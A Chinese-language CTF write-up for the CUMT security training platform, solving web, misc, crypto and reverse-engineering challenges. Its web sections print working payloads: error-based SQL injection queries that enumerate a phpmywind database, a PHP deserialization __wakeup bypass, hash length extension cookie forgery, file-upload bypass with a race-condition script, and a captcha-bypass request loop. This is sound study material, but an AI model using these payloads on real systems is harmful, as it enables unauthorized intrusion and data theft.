CUMT网络安全实训平台题目记录

CUMT网络安全实训平台题目记录

WEB

源代码

查看源代码,在最后发现一段字符

1
<!--该f配l合a你g演{出y的o我u演f视i而n不d见m别e逼2一3个3最3爱3你3的3人3即3兴3表3演}-->

提取出字符即可得到flag

colorSnake

前端题目,一头雾水,看了别人的wp,查看源代码在页面地段可以看到有一个game.js,跟过去看一下,

1
2
3
4
5
6
7
8
9
xhr('./getScore.php',function(e){
var r = JSON.parse(e);
if(r.state == 200)
game.addScore(r.score);
else{
alert(r.msg);
game.start()
}
})

尝试在控制台提交

1
2
3
4
5
6
7
8
9
setInterval(function(){xhr('./getScore.php',function(e){
var r = JSON.parse(e);
if(r.state == 200)
game.addScore(r.score);
else{
alert(r.msg);
game.start()
}
})},1)

会发现id确实增加了,我们可以通过修改参数使它实现多次递增从而达到50分,最终payload

1
2
3
4
5
6
7
8
9
setInterval(function(){xhr('./getScore.php',function(e){
var r = JSON.parse(e);
if(r.state == 200)
game.addScore(r.score);
else{
alert(r.msg);
game.start()
}
})},1000)

备份

题目给出了信息

1.bak 2.bak There are too much baks in the website ,can you find the flag in these baks?

尝试访问1.bak,2.bak,没有发现flag,继续访问3.bak,4.bak等都存在文件,只是没有flag,猜测flag应该在某个*.bak,中,bp爆破一下,在998.bak中发现了flag

上传一

题目要求上传jpg后缀,写一个PHP文件修改后缀为jpg,之后抓包修改文件名后缀为PHP再发包(因为它是在前端验证文件是否合法)

payload

之后就可以惊喜的看到本题的flag和下个“上传2”题目的flag(2333..)

result

自动获取flag程序

题目说了要修改一下程序,查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// 请求参数一
$("#a").click(function(){
$.ajax({
url:'param1.php',
method:'get',
dataType:'json',
success:calParam2
})
});
function calParam2(d){
var data=JSON.parse((d.param));
var length=data.length;
var second=new Date().getSeconds();
var sum=0;
for (var i = 1; i < length; i++) {
for (var j = 0; j < length/2; j++) {
sum+=parseInt(data[i])*second + data[j];
}
}
// 请求flag
$.ajax({
url:'http://new.ctf.param.com/aram2.php?sum='+sum,
method:'get',
dataType:'json',
success:function(s){
alert(s.f);

},
error:function(s){
alert('错了');
}
})
}

看到有个param1.php的请求,访问一下得到

1
{"param":"["1","6","2","8","4","2","8","4","9","1","10"]"}

Cookie?

查看cookie发现user值为guest,改为admin再刷新即可

result

一看就是维吉尼亚密码,解密一下就可以了

上传二

见上传一

logic

查看源代码可以发现

应该是存在vim泄漏,尝试访问 submit.php.swp 发现泄漏文件,关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "失败了呀";
}
}

题目一看就是很简单的弱比较,但是提交之后却无法正常回显,而是返回you are not admin,再看上图,admin应该就是chengyurui,所以邮箱为 chenyurui@gmail.com ,再提交一个0e12345678 即可。

上传三

bp抓包尝试不同的后缀,尝试 phtml 发现可以上传成功,即上传 snow.phtml ,题目返回信息

可以看到我们的文件已经上传成功了(文件被执行了),只是被后台查杀了,这就说明我们可以利用条件竞争来做这道题

用burpsuite连续发包,在写个代码连续读取

1
2
3
4
5
6
import requests
url = "http://202.119.201.199/challenge/web/uploadfile/upload/snow.phtml"
while True:
content = requests.get(url).text
if "flag" in content:
print(content)

然后即可读到flag

is hash safe??

题目给出了提示,应该是文件泄露,发现admin.php.swp存在,下载之,在linux下输入命令

1
vim -r amdin.php.swp

即可恢复出源代码,核心代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$auth = false;
$role = "guest";
$salt ="xxxxxxxxxxxxx";//len:13
if (isset($_COOKIE["role"]))
{
$role = $_COOKIE["role"];
$hsh = $_COOKIE["hsh"];
if (stripos($role,"admin")!==false&&$hsh === md5($salt.$_COOKIE["role"]))
{
$auth = true;
}
else
{
$auth = false;
}
}
else
{
$s = $role;
setcookie('role',$s);
$hsh = md5($salt.$s);
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin.Your flag is cumtctf{you_know_this_is_not_the_flag}";
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>

一看就是哈希长度扩展攻击

原理介绍
工具介绍

我们可以用hashpump工具来做

由上面介绍的原理可以知道,在本题中,参与第一次md5哈希的可控字符串为guest,也就是说,本题中,我们已知的内容有$salt(代码加的盐,具体内容未知)的长度为13,$salt与guest拼接后的MD5哈希值c70ab9d039f166c5b5f506a5698ebaa1,那么基于此,我们可以构造哈希扩展攻击

Input signature输入明文哈希,Input data输入第一次参与哈希的字符串的结尾的一部分,长度为$salt长度加上去掉inputdata之后字符串的长度,附加值随便,但是不能空,由于本题需要role中存在admin,所以我追加的是admin。比如本题中原来第一次参与hash的字符串为guest,我选择最后一个字符t作为inputdata,那么长度就为len($salt)+len('gues')=17,之后就会返回构造好的字符串和哈希值,把上面的\x替换为%,之后修改cookie值,role=>guest%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00adminhsh=>37d0fe2c401a689be9608e9f850ef3de,再刷新就可以得到flag了。

淘金

这个题目的目标是抢金币达到1000即可通关,每次抢金币需要在三秒内输入验证码,成功即可抢到1金币,如果有毅力的话是可以手动抢的,或者写一个在线识别验证码的程序来自动抢也是可以的,但是这题还有更好的方案就是在我们提交验证码的环节,如果我们在请求中删去验证码字段即可成功抢到金币(也就是说验证码使可以绕过的),只是不确定这个是题目漏洞还是正解。代码如下,为了效率,同时抢多个人·

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import time
url_post = r'http://bxs.cumt.edu.cn/challenge/web/robber/dorob.php'
url_get = r'http://bxs.cumt.edu.cn/challenge/web/robber/rob.php?id='
cookies={"PHPSESSID":"2fle5nf7jrvi8lksme7uq0j1a3","ssid":"a9598c3315159a39bbd981b8ec6fdb6d"}
s = requests.session()
names = ["bxsrc","333","08163266","EddieIvan"]
ids = [144,125,142,109]
while True:
for i in range(len(names)):
data = "user="+str(ids[i])+"&num=1"
req1 = s.get(url=url_get+str(ids[i]),cookies=cookies)
print(url_get+str(ids[i]))
req2 = s.post(url=url_post,cookies=cookies,data=data)
time.sleep(5)

听说你会面向对象

题目给出了源代码,核心代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
//flag in flag.php
class Admin{
public $file = 'flag.php';
public function __construct($f)
{
$this->file = $f;
}
public function __wakeup()
{
// TODO: Implement __wakeup() method.
if (stripos($this->file,'flag')+1){
echo 'dangerrous';
$this->file = 'index.php';
}
}
public function __destruct()
{
var_dump($this->file);
var_dump(file_exists($this->file));
// TODO: Implement __destruct() method.
if (!strpos($this->file,'/')&&!strpos($this->file,'\\')){
highlight_file($this->file);
}else
die('你想干嘛');
}
}

题目需要绕过需要__wakeup()函数,百度发现该处存在一个CVE漏洞 Click Here

我们写php代码序列化

1
2
3
4
5
class Admin{
public $file = 'flag.php';
}
$obj = new Admin();
echo serialize($obj);

题目返回 O:5:"Admin":1:{s:4:"file";s:8:"flag.php";} ,我们只需要把Admin后面的1修改为2然后在url编码即可,最终payload

1
O%3A5%3A%22Admin%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

phpmywind

首先得到flag非常简单,题目好像出bug了,访问首页直接就可以得到flag:)

payload

但是题目好像修复了(事实上题目本身没有任何问题,之所以可看到flag是因为已经有大佬做出来了),所以我们还是要来一波正解

题目给出来cms和版本,直接百度搜索漏洞,发现有个前台sql注入漏洞,需要先注册一个合法用户,我注册了一个用户为test_snow,密码123456,登录,然后在该网址下提交如下内容(因为该题目没有回显,所以使用了报错注入)

于是就可以看到数据库名,说明该报错方法可用,

但是该语句无法使用select语句,网上查找到了另一种报错注入的方法

1
select count(*),concat(char(@`%27`),(select schema_name from information_schema.schemata limit 1,1), 0x23,floor(rand(0)*2),char(@`%27`))x from information_schema.tables group by x

可以利用这种方法报库名,发现这个库名为 phpmyflag ,虽然不是当前库,但是flag应该就是在这个库中

爆表名

1
select count(*),concat(char(@`%27`),(select table_name from information_schema.tables where table_schema=0x7068706d79666c6167 limit 0,1), 0x23,floor(rand(0)*2),char(@`%27`))x from information_schema.tables group by x

本题中如果没有报错的话就会显示账号完善成功,这里只需要再次登录一下就可以了,由于题目转义过滤了单引号,所以使用了十六进制绕过

爆列名

1
select count(*),concat(char(@`%27`),(select column_name from information_schema.columns where table_name=0x666c6167 limit 0,1), 0x23,floor(rand(0)*2),char(@`%27`))x from information_schema.tables group by x

读flag

1
select count(*),concat(char(@`%27`),(select flag from phpmyflag.flag limit 0,1), 0x23,floor(rand(0)*2),char(@`%27`))x from information_schema.tables group by x

result

之前我以为flag在当前数据库中,走了不少弯路,看来还是自己思维太局限了

参考链接

BASIC

decode

hex打开再base64解码即可

白驹过隙

访问题目出现

You Have Missed the Flag ~>.<~

开始猜测可能是某次返回的正确的flag,于是一连访问了1000次还是一无所获,后面想到它说 “You Missed flag”,所以思路应该是发生了302跳转,抓包也没有发现什么异常,没找到时哪儿发生了302跳转,后面一个偶然的机会,我们在原来题目链接出查看一下链接

再看题目页面的链接 http://202.119.201.199/challenge/basic/http/defauIt.php 仔细看一下,会发现两个 default.php 中题目给的链接中default倒数第二位是小写的L,而到了题目中变成了大写的 i !!,如此的话跳转就清楚了,可以访问default.php(l为小写的L)

可以看到确实发生了302跳转,抓包

可以看到此处跳转到了defauIt.php(大写的i),也可以看到我们读到了flag

或者你也可以直接挑战页面点击题目链接抓包,也可以读到flag,原理是一样的

齐白石

16进制编辑器查看一下即可在字符串末尾看到flag

encode

题目给出的是jsfuck代码,直接找在线网站运行一下借口得到flag

DNS解析

直接修改本地hosts文件解开,linux下修改/etc/hosts文件,添加一行数据

1
202.119.201.199 welcome.bxsteam.xyz

然后访问welcome.bxsteam.xyz即可得到flag

签到1

邮件查看源代码,base64解码一下即可得到flag

签到2

按照题目要去F12转到控制台在点击网络选项卡,选择重新载入,之后再消息头中的flag字段即可看到flag

超简单的密码

键盘加密,低头看下键盘即可,网上也有在线解密网站

滑稽

ppt伪加密,打开后提示需要输入密码,网上找到一种方法可以绕过

破解pptx只读需要密码
重命名qzxdh.pptx为qzxdh.zip,解压到当前文件夹后,切换到\ppt之下,用记事本开启presentation.xml文件;
整块选中并删除,保存并关闭;
将文件再打包成qzxdh.zip,更名为pptx即可。
本文来自 qzxdh 的CSDN 博客 ,全文地址请点击:https://blog.csdn.net/qzxdh/article/details/72624298?utm_source=copy

按照该方法即可打开PPT,之后拖动首页幻灯片后即可发现后面还藏着一张幻灯片,里面就有flag

Fast 30

一道很常规的题目,就是不断把题目返回的信息在两秒之内发回去,这肯定不能人工操作,需要编程,本题需要提交的内容是header头里面的Flag字段的值,代码如下

1
2
3
4
5
6
7
8
9
import requests

url = "http://web.bxsteam.xyz/fast/"
header = requests.get(url).headers["Flag"]
while True:
header = requests.post(url,data={"key":header}).headers['Flag']
ans = requests.post(url,data={"key":header}).text
if '{' in ans:
break

MISC

LSB

题目给出了提示,lsb色道隐写,丢进steg里面看一下,发现rgb的每个0通道里面,图片上方都有会多出一个黑块,说明和这三个色道有关系

提取一下这三个色道的信息,发现时png文件头

提取保存为png图片是个二维码,直接扫码就可以看到flag

爱因斯坦

右键查看图片属性,发现在备注里面有一串字符 this_is_not_password,感觉这应该是压缩包密码,猜测图片中应该隐含了一个压缩包,hed软件打开图片,直接搜索 504b0304 (zip文件头),果然找到了,而且在右边的字符串中还看到了flag.txt字样,直接将这段提取出来,改后缀为zip,解压,提示需要密码,输入前面的字符串 this_is_not_password ,解压即可得到flag

视而不见

看了好久没思路,网上发现bmp图像的题目基本都是色道隐写的问题,于是就用stegsolve软件疯狂尝试,analyse->steteogram->solver里面修改偏移值找到了flag(233333)

result

鲨鱼的套路

打开数据包,追踪tcp流,发现如下内容

1
2
3
4
5
6
7
8
9
10
11
12
hello
hehe
i will give you flag~
o
but you must tell me te.he anhhao...ao~
woyaohuinongcun
ok i will give you flag~
just revice .......g.receive it
UEsDBBQAAAgIANeFfErNFL6kGwAAABsAAAAcAAAAaGludF9zb21lIF90aGluZ19pc19mYWtlLnR4dEvLSUyvTs5IzUuPL87IjC9JzI/PKQUyU/NqAVBLAQI/ABQACQAIANeFfErNFL6kGwAAABsAAAAcACQAAAAAAAAAIAAAAAAAAABoaW50X3NvbWUgX3RoaW5nX2lzX2Zha2UudHh0CgAgAAAAAAABABgAu7Ux1J+n0gGhDeAnl6fSAaEN4CeXp9IBUEsFBgAAAAABAAEAbgAAAFUAAAAAAA==
~
bye~
o

这段应该是base64,但是在线网站无法解码,自己尝试,发现是个压缩包,保存为zip格式

之后是zip伪加密

easy crypto

解压之后有个morse.txt,一看就是摩斯密码,解码为 keyisvigenerecipher ,提到了维吉尼亚密码,直接解密flag.txt,key就是 vigenerecipher ,然后解码即可得到flag

code

题目给出了代码

1
2
3
4
char getCode(char orgin) {
return ( key1 * (orgin-97) + key2 ) % 26 + 97;
}
code : joqtgyvlmcqivvvvmmmmzzzzcccciiiijjjjoooossssqqqqmmmm

注意题目的路径其实给出了提示 challenge/misc/fangshe/ ,最后的 fangshe 其实就是仿射的意思,意思是本题是一道放射密码的题目,就是位置为key1和key2的仿射加密,网上说了key1,key2的范围是小于26的,我们数论刚开始学,我也不是很理解,我个人感觉应该是由于题目的函数如果把key1和key2看做x和y的话,key1 * (orgin-97) + key2就是一条直线,那么key值大于26之后模26是会和前面重复的,这个以后学了得在研究一下,但是这题我们可尝试暴力破解,需要注意的是我之前以为题目给的code是密文,但事实上人家给的是明文,密文是flag …….

1
2
3
4
5
6
7
8
9
cipher = "joqtgyvlmcqivvvvmmmmzzzzcccciiiijjjjoooossssqqqqmmmm"
ans = ""
for key1 in range(0,26):
for key2 in range(0,26):
ans = ""
for char in cipher:
ans += chr((key1 * (ord(char)-97) + key2) % 26 + 97)
if "flag" in ans or "ctf" in ans:
print(ans)

跑完之后发现其中一个结果是

heiboyflagisffffaaaannnnggggsssshhhheeeemmmmiiiiaaaa

断句一下为

hei boy,flag is ffffaaaannnnggggsssshhhheeeemmmmiiiiaaaa

PS Master

题目提示的很明显了,和ps有关,那基本就是图层的问题了,但是题目的文件用PS无法打开,binwalk一下发现是个gif图片,修改文件后缀为gif,发现可以用PS打开,打开之后第二个图层是个二维码,但是无法扫描,因为定位块上都有个二哈

PS提取结果

参照标准二维码可以知道,左上,右上,左下都应该是黑色的定位块,可以用win10自带的画图工具把右上的块复制到左上和左下,然后把二哈图案用黑色填充,处理之后如下,扫码可得flag

result

传感器1

题目提示了是第九届全国大学生信息安全竞赛,可以知道这个题目考察的是曼彻斯特编码,先将题目的16进制转为2进制,根据曼彻斯特编码规则,由低到高即01代表1,由高到低即10代表0,之后转化为16进制之后发现与题目ID不符,还需要每八位进行一下反转,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def Manchester(s):
ans = ''
for i in range(len(s)//2):
if s[i*2:i*2+2] == '01':
ans += '1';
elif s[i*2:i*2+2] == '10':
ans += '0';
else:
print("error in",i)
break
return ans
s = "010101010101010101010101010101011001010101010101010110100110010101010101011010101010011010010110101010100110011001100110011001100110100101010101"
p = Manchester(s)
flag = ""
for i in range(len(p)//8):
flag += p[i*8:i*8+8][::-1]
print(hex(int(flag,2)))

我就想试试这个名字到底能够起多长

下载之后丢进stegsolve里面看一下,看一下低色道,发现是504b0304(zip文件头)

data extract

保存为zip格式,但是解压不了,WinRAR修复一下就可以解压了,将解压后的文件拖进hex里面看一下直接就看到了flag。

你的石锅拌饭

题目给出了提示信息,培根,可知是培根加密,而且题目字体用了两种字体,就更加确定了,网上查资料发现培根密码有两种加密方式

第一种方式:
A aaaaa B aaaab C aaaba D aaabb E aabaa
F aabab G aabba H aabbb I abaaa J abaab
K ababa L ababb M abbaa N abbab O abbba
P abbbb Q baaaa R baaab S baaba T baabb
U babaa V babab W babba X babbb Y bbaaa
Z bbaab

第二种方式
a AAAAA g AABBA n ABBAA t BAABA
b AAAAB h AABBB o ABBAB u-v BAABB
c AAABA i-j ABAAA p ABBBA w BABAA
d AAABB k ABAAB q ABBBB x BABAB
e AABAA l ABABA r BAAAA y BABBA
f AABAB m ABABB s BAAAB z BABBB

而本题目中说了要大写,所以使用的是第一种加密方式,把题目中正常字体写成A,斜体写成B,转换之后如下

1
ABAAAABABBABBBABABABAABAABAABAAABBAAAAABAABAB

对照解密即可,也可以在在线网站解密

shark

题目提示了用wireshark,是一道流量分析题目,打开之后随便浏览发现了ftp登录的信息

登录认证报文

感觉题目应该是和ftp有关,过滤一下ftp协议

这就基本确定了本题就是获取这个flag.zip,直接 tcp contains "flag" ,可以看到FTP-DATA协议中传输了flag.zip的数据

追踪tcp流,然后可以看到文件头为504b0304,可以确定这就是我们要的flag.zip文件,但是不能直接保存,这样是打不开的,要按照原始数据保存

save as为flag.zip

文件被加密了(不是伪加密),需要密码,尝试前面登录ftp服务器的密码试一下,直接OK

解压后的图片没有显示格式,丢进16进制编辑器里面看一下,是个png图片,但是文件头不对,修复一下

然后保存为png图片打开就OK了

We are family!

学姐真美

下载之后是一张jpg图片,发现在图片尾部之后还有东西,感觉像是png图片相关的东西,因为有IHDR块,然后在下载一张png图片对着格式修复,本图只需要修复八位即可

repair

是一张二维码,但是只有一小部分,尝试修改图片尺寸,下图中前四个字节是宽度,后四个字节是高度,直接按我的修改为正方形即可

repair

md5

哈希长度扩展攻击,和web里面的 is hash safe? 相同类型,所以原理就不多说了,直接上工具

1
2
3
4
5
root@kali:~# hashpump
Input Signature: 4dbe35eaea655b0a2b0d06391175b8a3
Input Data: r
Input Key Length: 18
Input Data to Add: snow

得到结果

1
2
65710003c2ff40389b064d3a020487bd
r\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x98\x00\x00\x00\x00\x00\x00\x00snow

第一行md5提交,第二行在前面加上 cy 在将 \x 换成空格,字母换成16进制表示即可,最终为

1
63 79 72 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 00 00 00 00 00 00 00 73 6E 6F 77

提交即可得到flag

大家来找茬

既然说了大家来找茬,感觉图片肯定有问题,估计是两张,binwalk一下发现果然是两个,foremost分离一下,本来以为是盲水印但是发现不是,百度发现了一个compare命令,试了一下居然得到个二维码,扫码得到flag

1
compare 00000000.png 00000668.png 3.png

据说是个签到题

流量分析,打开之后先过滤一下http包,只有两个http,发现其中一个请求为 GET /evaltest/something/welcome/web/upload_function/upload/c2hlbGw=.php HTTP/1.1\r\n ,感觉应该上传了什么东西,于是过滤tcp包 tcp contains "upload" 发现了数据传输,从第二个开始追踪tcp流

发现了flag,但是经过了function.py的加密,不过题目也给出了代码,所以直接用它的代码解密一下即可,但是要把密文base64解密一下,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto import Random
from Crypto.Cipher import AES

import sys
import base64

def decrypt(encrypted, passphrase):
IV = encrypted[:16]
aes = AES.new(passphrase, AES.MODE_CBC, IV)
return aes.decrypt(encrypted[16:])

def encrypt(message, passphrase):
IV = message[:16]
length = 16
count = len(message)
padding = length - (count % length)
message = message + "\0" * padding
aes = AES.new(passphrase, AES.MODE_CBC, IV)
return aes.encrypt(message)
IV = 'YUFHJKVWEASDGQDH'
a = "mbZoEMrhAO0WWeugNjqNw3U6Tt2C+rwpgpbdWRZgfQI3MAh0sZ9qjnziUKkV90XhAOkIs/OXoYVw5uQDjVvgNA=="
b = base64.b64decode(a)
print decrypt(b,"Qq4wdrhhyEWe4qBF")

萌萌哒

颜文字密码(aaencode),在线解码一下

alert(“3Nc0d3.txt”)

访问一下这个txt文件,发现是brainfuck编码,之后再OOK!解码一下可以得到flag

魂斗罗

下载下来是个nes文件,要用fc模拟器打开,是个魂斗罗游戏,通关就可以得到flag,下载一个virtualnes软件即可运行,再用金手指输入一些秘籍来帮助我们通关,我只用了一个无限命的秘籍,其实用金身比较好,秘籍代码如下

然后开启1p模式通过即可,一共好像是8关

注意flag里面的字符是5不是s!

传感器2

前面一道题目的加强版, 按照之前题目的步骤求一下ID值

1
2
45psi: fffffed31f635055f8
30psi: fffffed31f425055d7

可以看出有两处不同,分别是63==42,f8==d7,看了大佬的wp后得到前面的两位是与psi有关,最后两位是校验值,校验值是从ID开始的每两位相加的和模256,例如对于第一个 fe+d3+1f+63+50+55=2f8=>2f8%256=f8(注意是十六进制数)。前面的与psi对应的值可以按照比例计算即psi值为30时计算方式为

1
2
3
4
5
# py3
a = (int('63',16)-int('42',16))/15 * 5
b = int('42',16) - int(a)
print(hex(b))
# @ans=0x37

补上ID之后求校验码

1
2
3
4
5
6
a = "feb757375055"
sum = 0;
for i in range(len(a)//2):
sum += int(a[i*2:i*2+2],16)
print(hex(sum%256))
# @ans=0xe8

那么最终的明文为 FFFFFEB757375055E8

猜猜看

题目说了是一个j开头的隐写工具,Google发现了下是jphs,下载了这个软件,可以在dos下运行

1
jpseek.exe guess_flag.jpg flag.txt

提取需要密码,猜测了几次发现密码为flag,在flag.txt文件中发下了二进制文本,转为16进制看一下

1
2
3
4
5
s = "" # 此处应为flag.txt中的二进制串
hex_s = ""
for i in range(len(s)//8):
hex_s += hex(int(s[i*8:i*8+8],2))[2:4]
print(hex_s)

在线解码为字符串

1
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAARgAAAEYCAIAAAAI7H7bAAAFR0lEQVR4nO3dQY5bNxBAQU+Q+1/ZOUGIgHlqN2eqtoYljfQfuGiQ/Pr9+/cv4P/5609/APgOhAQBIUFASBAQEgSEBAEhQUBIEPj78G9fX19jnyOXD5onv43Dh7/7GPkLLnmvSecnyooEASFBQEgQEBIEhAQBIUFASBAQEgROA9mDJftq8wHf09PJux/l7hPmD8DrT5QVCQJCgoCQICAkCAgJAkKCgJAgICQIXA5kD5bMGQ/u5oyT08mD/YPL/XuTP/EdWpEgICQICAkCQoKAkCAgJAgICQJCgkA/kH1aPqs9WDK4XDLhfZ0VCQJCgoCQICAkCAgJAkKCgJAgICQI/MSB7ORxu3dD0qdPTv6ZrEgQEBIEhAQBIUFASBAQEgSEBAEhQaAfyH7XHZf5Ib2Tu3EP9v9e+z/hLysSJIQEASFBQEgQEBIEhAQBIUFASBC4HMg+va1y/22wk7PaJTfqPv1E/bIiQUJIEBASBIQEASFBQEgQEBIEhASBrye2H26wZAS5f9z5M58oKxIEhAQBIUFASBAQEgSEBAEhQUBIEBgdyOYjyMkXnNwuerDkvQ6efqKuWZEgICQICAkCQoKAkCAgJAgICQJCgsDokcWTd63evWBuyfHIB0tmmkuG9desSBAQEgSEBAEhQUBIEBASBIQEASFB4HIgu8TTF4/ezWon9wvn8g3Iex4AKxIEhAQBIUFASBAQEgSEBAEhQUBIEDgdWbzkQOA7k/tql2wX3e/pw6LPrEgQEBIEhAQBIUFASBAQEgSEBAEhQeC0Q3Zy0+LkPO7p85aXDH/3HxZ95/r3siJBQEgQEBIEhAQBIUFASBAQEgSEBIHLI4uX3N25ZFZ78PT8dMmv/MQlwlYkCAgJAkKCgJAgICQICAkCQoKAkCDwbe+QnRwm7t/4eWfJtmVHFsNPISQICAkCQoKAkCAgJAgICQJCgsDlHbJLdiYOD9022H+x73c9A9mRxfBxQoKAkCAgJAgICQJCgoCQICAkCPR3yN6ZvKF1cgS55Duc3BQ8OSXfM8a1IkFASBAQEgSEBAEhQUBIEBASBIQEgdNAdslJvN916prPT/P3WnJR7MGe04ytSBAQEgSEBAEhQUBIEBASBIQEASFBoL9DNp92LRm63b1gPnV9+pTm/SPj6yfKigQBIUFASBAQEgSEBAEhQUBIEBASBC7vkD1YMj+9s+Qo5oMlxyNPWnIusYEsfJyQICAkCAgJAkKCgJAgICQICAkC/Q7ZgyWTtUmTM+inL6U9eOLvsiJBQEgQEBIEhAQBIUFASBAQEgSEBIHTQHbJrtX9m0yXDC73f4w7kwcdX394KxIEhAQBIUFASBAQEgSEBAEhQUBIEDgNZJ/emjq5G3dywjtpzw2tFy84zIoEASFBQEgQEBIEhAQBIUFASBAQEgQujyx+emI4uZN0cl/t03t4J9/rE3+yFQkCQoKAkCAgJAgICQJCgoCQICAkCPR3yE7e+HlnydbUJbPa3J5dq//mE7+yFQkCQoKAkCAgJAgICQJCgoCQICAkCPQD2adNDkmX7DI+mPyTl5xm7A5Z+JOEBAEhQUBIEBASBIQEASFBQEgQ+IkD2SWT0HwEObmVeNKS7b3nr9eKBAEhQUBIEBASBIQEASFBQEgQEBIE+oHsknHnnckh6eG9Jg9VXvJeB/kO2U9cL2tFgoCQICAkCAgJAkKCgJAgICQICAkCX58YTm3w9G2wk/8r9/TI+JoVCQJCgoCQICAkCAgJAkKCgJAgICQInAaywH9kRYKAkCAgJAgICQJCgoCQICAkCAgJAkKCwD96oQOE684L1QAAAABJRU5ErkJggg=="></img>

一看就是个base64编码的图片,解码一下是个二维码,扫码即可得到flag

answer

这题还发现个stegdetect工具,收获挺大。

REVERSE

Gift

题目要让使用jeb,但是没找到工具,所以使用了kali下面的apktools,直接运行命令进行反编译

1
apktool d Gift.apk

在Gift/smali/com/example/gift/flag.smail文件夹下面即可看到flag。

-------------本文结束感谢您的阅读-------------
您今天怎么辣么迷人!